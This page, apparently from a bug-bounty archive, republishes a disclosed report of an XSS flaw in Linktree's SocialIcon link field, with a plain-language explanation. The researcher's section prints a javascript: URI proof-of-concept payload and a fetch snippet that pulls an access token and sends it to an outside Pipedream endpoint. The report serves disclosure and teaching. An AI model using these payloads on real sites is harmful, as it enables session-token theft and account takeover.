Skip to content
XSS Disclosed report Intermediate

XSS in SocialIcon Link

The SocialIcon link field accepted a javascript URI without validation, allowing script execution in the context of the page. Because session cookies were HttpOnly, the reporter instead fetched an API endpoint that returned an access token and exfiltrated it.

sudi Follow

Originally disclosed on HackerOne

  • Triaged in 14 days
  • Fixed in 44 days
  • Paid in 14 days
  • Disclosed after 48 days

Summary by the program

XSS in SocialIcon Link

Summary by the researcher

There was no validation of the url provided for the SocialIcon Link , which allowed to include javascript uri . As the cookies were marked as httponly , I couldn't steal them directly via the xss so instead I found an endpoint which was leaking the accessToken used for authentication.

JavaScript
await fetch("https://linktr.ee/api/token", {
    "credentials": "include",
    "method": "GET"
})
.then((response) => response.json())
.then((responseJson) => {
    fetch("https://en2celr7rewbul.m.pipedream.net/?token="+responseJson["accessToken"]);
})

Final POC:

JavaScript
javascript://https://amazon.com/shop/x%0Aeval(\"(async()=>{await+fetch('https://linktr.ee/api/token').then((response)=>response.json()).then((responseJson)=>{alert(responseJson['accessToken']);})})()\")

POC in action: https://youtu.be/598GUqKrNvw

The original report as published on HackerOne, by sudi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could run script in the victim's session and steal an access token, though HttpOnly cookies prevented direct cookie theft.

What the attacker needed

Ability to set a SocialIcon link; victim clicks the crafted link

How it was found

  1. Set the SocialIcon link to a javascript URI that runs code.
  2. When the link is clicked, the code fetches the token endpoint with credentials included.
  3. The returned access token is sent to an attacker-controlled endpoint.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A profile page let users set a link for a social icon, but it did not check what kind of link it was. By supplying a link that starts with 'javascript:', the browser runs the text after it as code when the link is clicked. The attacker used that code to ask the site for a login token and send it to their own server.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by sudi

View all

14 more disclosed reports, best first.

More from Linktree

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.